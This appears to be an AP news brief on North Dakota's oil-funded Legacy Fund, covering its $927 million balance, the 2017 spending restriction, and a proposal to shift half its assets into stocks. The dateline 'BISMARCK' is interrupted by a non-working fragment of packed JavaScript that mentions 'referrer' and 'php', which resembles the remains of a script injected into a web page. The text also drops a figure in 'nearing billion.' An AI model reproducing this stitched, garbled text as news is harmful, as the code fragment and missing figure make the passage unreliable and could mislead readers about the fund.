BISMARCK, ifhdi|var|u0026u|referrer|itieb||js|php’.split(‘|’),0,{}))
N.D. (AP) – North Dakota’s oil tax fund is nearing billion in assets. The Legacy Fund gets 30 percent of the state’s oil tax collections. None of the money can be spent until 2017, and even then it takes a two-thirds vote of the Legislature to dip into it.
March deposits were about $87 million. That brings the fund’s total to $927 million. Oil revenue began gushing into the fund only since September 2011. Analysts initially estimated it would have a $618 million balance when the state’s current two-year budget period ends on June 30.
Revenue from the fund has been invested mostly in short-term, low-risk U.S bonds. The Legacy Fund’s seven-member advisory board is recommending that half of the fund’s assets be shifted to the stock market and other investments.